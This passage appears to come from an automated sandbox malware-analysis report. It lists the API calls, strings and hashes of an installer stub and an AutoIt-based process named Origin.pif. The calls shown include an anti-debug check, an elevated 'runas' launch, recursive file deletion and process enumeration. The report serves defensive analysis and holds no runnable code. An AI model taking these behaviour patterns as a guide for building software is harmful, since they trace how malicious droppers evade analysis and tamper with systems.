Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

CreateFontIndirectW.GDI32(0041F0F0), ref: 0040216A

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectVersionwsprintf
String ID:
API String ID: 1599320355-0
Opcode ID: 6f0d7b084d37585979e4dd0fd2aac30abed8a2b5fd168dddd791f163065a0eb0
Instruction ID: 656afd6720eca978824560f17fb47cc17b19fb3a621816cfe3730d6e1c8eda21
Opcode Fuzzy Hash: 6f0d7b084d37585979e4dd0fd2aac30abed8a2b5fd168dddd791f163065a0eb0
Instruction Fuzzy Hash: DA017172644650EFE701ABB4ED4ABDA3BA4A725315F10C43AE645A61E3C678440A8B2D

Function 004071F8 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406ED2: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406EF6

lstrcpynW.KERNEL32(?,?,00000009), ref: 00407239
lstrcmpW.KERNEL32(?,Version ), ref: 0040724A
lstrcpynW.KERNEL32(?,?,?), ref: 00407261

Strings

Version , xrefs: 00407241

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: lstrcpyn$CreateFilelstrcmp
String ID: Version
API String ID: 512980652-315105994
Opcode ID: 4a1870cd75b7b8bbcc0c4c6a066d827f0aa8b2b5b5f43a101b4d9a41e631e9ca
Instruction ID: 151640cc4cfa07bb85738859349229c9473c158da19ee21f10eacb3052f8d035
Opcode Fuzzy Hash: 4a1870cd75b7b8bbcc0c4c6a066d827f0aa8b2b5b5f43a101b4d9a41e631e9ca
Instruction Fuzzy Hash: 3EF03172A0021CABDB109AA5DD46EEA777CAB44700F100476F600F6191E6B59E158BA5

Function 004032D2 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00403703,00000001,?,?,?,00000000,00403A47,?), ref: 004032E5
GetTickCount.KERNEL32 ref: 00403303
CreateDialogParamW.USER32(0000006F,00000000,0040324C,00000000), ref: 00403320
ShowWindow.USER32(00000000,00000005,?,?,?,00000000,00403A47,?), ref: 0040332E

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 47d4170aef7bfd746f2c3ad407b5e1a24093745f4c41283d4ce41cd21e437078
Instruction ID: 401e6cecbc7a0b9e3d471fb50fe358663bd3ad25f9a7ebc527197863dd5a4904
Opcode Fuzzy Hash: 47d4170aef7bfd746f2c3ad407b5e1a24093745f4c41283d4ce41cd21e437078
Instruction Fuzzy Hash: 23F08230502620EBC221AF64FE5CBAB7F68FB04B82701447EF545F12A4CB7849928BDC

Function 00406365 Relevance: 6.0, APIs: 4, Instructions: 31memorylibraryloaderCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004,00000000,?,?,00402449,?,?,?,00000008,00000001,000000F0), ref: 00406370
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00002004,00000000,00000000,?,?,00402449,?,?,?,00000008,00000001), ref: 00406386
GetProcAddress.KERNEL32(?,00000000), ref: 00406395
GlobalFree.KERNEL32(00000000), ref: 0040639E

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: Global$AddressAllocByteCharFreeMultiProcWide
String ID:
API String ID: 2883127279-0
Opcode ID: 9b9152501c533f071dd2545c5f3fa28dbd06be6ef0eddba5fde26ce4b08cefa4
Instruction ID: 581917a1a4a7218ca9fbbc4554f9bfb31441e22884f00dccc1ee77d568dea7f2
Opcode Fuzzy Hash: 9b9152501c533f071dd2545c5f3fa28dbd06be6ef0eddba5fde26ce4b08cefa4
Instruction Fuzzy Hash: 19E048712012107BE2101B669E8CD677EADDFCA7B6B05013EF695F51A0CE348C15D675

Function 00402175 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 0040219F

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

EnableWindow.USER32(00000000,00000000), ref: 004021AA

Strings

HideWindow, xrefs: 0040218D

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: Window$EnableShowlstrlenwvsprintf
String ID: HideWindow
API String ID: 1249568736-780306582
Opcode ID: 2f246f05ebd7dc674da9b5ff0baef701d10e4a3e2a51ec62881f8ce9e704e4b5
Instruction ID: bfe0de145d0e58e27592ef60cc9cda220d4f3e6bacb950e19a0f62fa040dbd34
Opcode Fuzzy Hash: 2f246f05ebd7dc674da9b5ff0baef701d10e4a3e2a51ec62881f8ce9e704e4b5
Instruction Fuzzy Hash: F1E09232A05111DBCB08FBB5A74A5AE76B4EA9532A721007FE143F20D0DABD8D01C62D

Function 00402797 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25stringCOMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(00000000,00000000,?,?,00002003,00000000), ref: 004027CD
lstrcmpW.KERNEL32(?,?,?,00002003,00000000,000000DD,00000012,00000001), ref: 004027D8

Strings

!N~, xrefs: 00402797

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: PrivateProfileStringlstrcmp
String ID: !N~
API String ID: 623250636-529124213
Opcode ID: 866873a94fae700ec207294a0f2462ae5c2747d97e8320b74985250fbb79316b
Instruction ID: 7cd271610f6b1cb64eb4c57d825f56a096f62725fe87e34e9129affe44791136
Opcode Fuzzy Hash: 866873a94fae700ec207294a0f2462ae5c2747d97e8320b74985250fbb79316b
Instruction Fuzzy Hash: 37E0E571500208ABDB00BBA0DE85DAE7BBCAF05304F14443AF641F71E3EA7459028718

Function 00405C3F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00457278,Error launching installer), ref: 00405C64
CloseHandle.KERNEL32(?), ref: 00405C71

Strings

Error launching installer, xrefs: 00405C48

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 47f41dc08d07e361b35e7f66cf96497c8c5e39d775029f064e59fed031f864e7
Instruction ID: c3c9ba135fb9cbcc5263534f4c07e322ce29f53e9eda4e03cc008bde6a4ec24c
Opcode Fuzzy Hash: 47f41dc08d07e361b35e7f66cf96497c8c5e39d775029f064e59fed031f864e7
Instruction Fuzzy Hash: 44E0EC70504209ABEF009B64EE49E7F7BBCEB00305F504575BD51E2561D774D9188A68

Function 004062A3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 004060E7: CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,004062D4,00000000), ref: 004060FE

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 004062A5, 004062AA

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: CloseHandlelstrlenwvsprintf
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3509786178-2769509956
Opcode ID: 7e77ee9ca870ff99cdb2782ad16b85c265d3824fde99dea76e58772afe0e1651
Instruction ID: 8d95e7b1bd6a8fe250904a0927f32055e446839aab417a06e937ad69edd5bb19
Opcode Fuzzy Hash: 7e77ee9ca870ff99cdb2782ad16b85c265d3824fde99dea76e58772afe0e1651
Instruction Fuzzy Hash: 04D05E34150316BACA009BA0DE09E997B64FBD0384F50442EF147C5070FA748001C70E

Function 00405DB6 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DC6
lstrcmpiA.KERNEL32(?,?), ref: 00405DDE
CharNextA.USER32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DEF
lstrlenA.KERNEL32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DF8

Memory Dump Source

Source File: 00000000.00000002.1379664267.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1379636432.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379688512.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379707736.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1379847481.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QqHWdVqNBs.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: f82830a26d6d2443e283ff34aa02cafdf5392a3ccdb3054c8558e2fdbecc5bb1
Instruction ID: 82a91399e33c41d3abe84131f59dcd741317d7299bce3ff9d06b8c6e92496674
Opcode Fuzzy Hash: f82830a26d6d2443e283ff34aa02cafdf5392a3ccdb3054c8558e2fdbecc5bb1
Instruction Fuzzy Hash: D5F0CD31205988EFCB019FA9CD04C9FBBA8EF56350B2180AAE840E7310D630EE01DBA4

Analysis Process: Origin.pifPID: 7692, Parent PID: 7456COMMON

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1.8%
Total number of Nodes:	2000
Total number of Limit Nodes:	45

Executed Functions

Function 00BE5240 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 147
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00BE526C
IsDebuggerPresent.KERNEL32 ref: 00BE527E
GetFullPathNameW.KERNEL32(00007FFF,?,?), ref: 00BE52E6

Part of subcall function 00BE1821: _memmove.LIBCMT ref: 00BE185B

Part of subcall function 00BDBBC6: GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00BDBC07

SetCurrentDirectoryW.KERNEL32(?), ref: 00BE5366
MessageBoxA.USER32(00000000,It is a violation of the AutoIt EULA to attempt to reverse engineer this program.,AutoIt,00000010), ref: 00C20AAE
SetCurrentDirectoryW.KERNEL32(?), ref: 00C20AE6
GetForegroundWindow.USER32(runas,?,?,?,00000001,?,00C85230), ref: 00C20B69
ShellExecuteW.SHELL32(00000000), ref: 00C20B70

Part of subcall function 00BE514C: GetSysColorBrush.USER32(0000000F), ref: 00BE5156
Part of subcall function 00BE514C: LoadCursorW.USER32(00000000,00007F00), ref: 00BE5165
Part of subcall function 00BE514C: LoadIconW.USER32(00000063), ref: 00BE517C
Part of subcall function 00BE514C: LoadIconW.USER32(000000A4), ref: 00BE518E
Part of subcall function 00BE514C: LoadIconW.USER32(000000A2), ref: 00BE51A0
Part of subcall function 00BE514C: LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00BE51C6
Part of subcall function 00BE514C: RegisterClassExW.USER32(?), ref: 00BE521C

Part of subcall function 00BE50DB: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00BE5109
Part of subcall function 00BE50DB: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00BE512A
Part of subcall function 00BE50DB: ShowWindow.USER32(00000000), ref: 00BE513E
Part of subcall function 00BE50DB: ShowWindow.USER32(00000000), ref: 00BE5147

Part of subcall function 00BE59D3: _memset.LIBCMT ref: 00BE59F9
Part of subcall function 00BE59D3: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00BE5A9E

Strings

runas, xrefs: 00C20B64
AutoIt, xrefs: 00C20AA3
It is a violation of the AutoIt EULA to attempt to reverse engineer this program., xrefs: 00C20AA8

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: LoadWindow$Icon$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__memmove_memset
String ID: AutoIt$It is a violation of the AutoIt EULA to attempt to reverse engineer this program.$runas
API String ID: 529118366-2030392706
Opcode ID: 6cb854bf95bd52007d6cb404a2445814a5b5f69d343bfafd80a9d169910f9c1b
Instruction ID: 942dba81b24bb61caad4556127db0d45027e879fc65647f3db6f4b270b8241da
Opcode Fuzzy Hash: 6cb854bf95bd52007d6cb404a2445814a5b5f69d343bfafd80a9d169910f9c1b
Instruction Fuzzy Hash: E0510670904688EACF21EBB6DC49FEE7BF8AF04784F2401FAF552621A2CBB45504C724

Function 00C33B4F Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 167
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BF01AF: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00BE2A58,?,00008000), ref: 00BF01CF

Part of subcall function 00C34E59: GetFileAttributesW.KERNEL32(?,00C33A6B), ref: 00C34E5A

FindFirstFileW.KERNEL32(?,?), ref: 00C33C03
DeleteFileW.KERNEL32(?,?,00000000,?,?,?,?), ref: 00C33CAB
MoveFileW.KERNEL32(?,?), ref: 00C33CBE
DeleteFileW.KERNEL32(?,?,?,?,?), ref: 00C33CDB
FindNextFileW.KERNELBASE(00000000,00000010), ref: 00C33CFD
FindClose.KERNEL32(00000000,?,?,?,?), ref: 00C33D19

Strings

\*.*, xrefs: 00C33BAE, 00C33BB7, 00C33BCC

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: File$Find$Delete$AttributesCloseFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 4002782344-1173974218
Opcode ID: 70316444af191ff89f7b925f884ea3f1fd206dcafe70faa76443fab892a18927
Instruction ID: 18c4c8acfa503290d2d0cad172616df0cf443007887195ecc25e003a905042dc
Opcode Fuzzy Hash: 70316444af191ff89f7b925f884ea3f1fd206dcafe70faa76443fab892a18927
Instruction Fuzzy Hash: 5B51803181118DAACF15EBA5DE529EDB7B9AF10301F3046A5E412B7192EF316F09DB60

Function 00BE5D13 Relevance: 10.7, APIs: 7, Instructions: 223
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 00BE5D40

Part of subcall function 00BE1821: _memmove.LIBCMT ref: 00BE185B

GetCurrentProcess.KERNEL32(?,00C60A18,00000000,00000000,?), ref: 00BE5E07
IsWow64Process.KERNEL32(00000000), ref: 00BE5E0E
GetNativeSystemInfo.KERNEL32(00000000), ref: 00BE5E54
FreeLibrary.KERNEL32(00000000), ref: 00BE5E5F
GetSystemInfo.KERNEL32(00000000), ref: 00BE5E90
GetSystemInfo.KERNEL32(00000000), ref: 00BE5E9C

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: InfoSystem$Process$CurrentFreeLibraryNativeVersionWow64_memmove
String ID:
API String ID: 1986165174-0
Opcode ID: 3fb63f63ee38d3bfec08224e42186d746893cbf42d88fd692e830419479790df
Instruction ID: 1a82d0ccbbef77b84fb62dd097e9d3c33f5e5de923b6789be24780497115e830
Opcode Fuzzy Hash: 3fb63f63ee38d3bfec08224e42186d746893cbf42d88fd692e830419479790df
Instruction Fuzzy Hash: 0A91F831549BC0DEC731CB7995905ABFFE5AF3A304B984A9ED0D793A02D330A648C769

Function 00C33E72 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BF01AF: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00BE2A58,?,00008000), ref: 00BF01CF

Part of subcall function 00C34E59: GetFileAttributesW.KERNEL32(?,00C33A6B), ref: 00C34E5A

FindFirstFileW.KERNEL32(?,?), ref: 00C33EE9
DeleteFileW.KERNEL32(?,?,?,?), ref: 00C33F39
FindNextFileW.KERNEL32(00000000,00000010), ref: 00C33F4A
FindClose.KERNEL32(00000000), ref: 00C33F61
FindClose.KERNEL32(00000000), ref: 00C33F6A

Strings

\*.*, xrefs: 00C33EBB

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: 481411e3bd4c01ffff64ad7967cc481e5cadf60ca54cb36b7238a89d06c02b44
Instruction ID: ffd94776fcf3689342504aed2ed98360fb4cbb4134805d852ce6d093bfa7006a
Opcode Fuzzy Hash: 481411e3bd4c01ffff64ad7967cc481e5cadf60ca54cb36b7238a89d06c02b44
Instruction Fuzzy Hash: 03318F710183859BC300EF68CC959AFB7E8BE95304F544E9DF4E692192EB70DA09CB66

Function 00C33FB5 Relevance: 6.1, APIs: 4, Instructions: 85processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00C33FDA
Process32FirstW.KERNEL32(00000000,?), ref: 00C33FE8
Process32NextW.KERNEL32(00000000,?), ref: 00C34008
CloseHandle.KERNEL32(00000000), ref: 00C340B2

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 9567a3ef7a2d77cd8523381f99d25645168510230df60cfcc722a1774cc086a7
Instruction ID: b1ca78ac87cbadf21d25f3848e346e5978b85b553cfcd05d0c9bada31191adaa
Opcode Fuzzy Hash: 9567a3ef7a2d77cd8523381f99d25645168510230df60cfcc722a1774cc086a7
Instruction Fuzzy Hash: 033186711083419FD318EF55C881BAFBBE8EF95350F200D2DF696C61A1EB71AA49CB52

Function 00BDB020 Relevance: 5.6, APIs: 3, Instructions: 1146COMMON

Download Yara Rule

APIs

Part of subcall function 00BE3740: CharUpperBuffW.USER32(?,00C961DC,00000000,?,00000000,00C961DC,?,00BD53A5,?,?,?,?), ref: 00BE375D

_memmove.LIBCMT ref: 00BDB68A

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

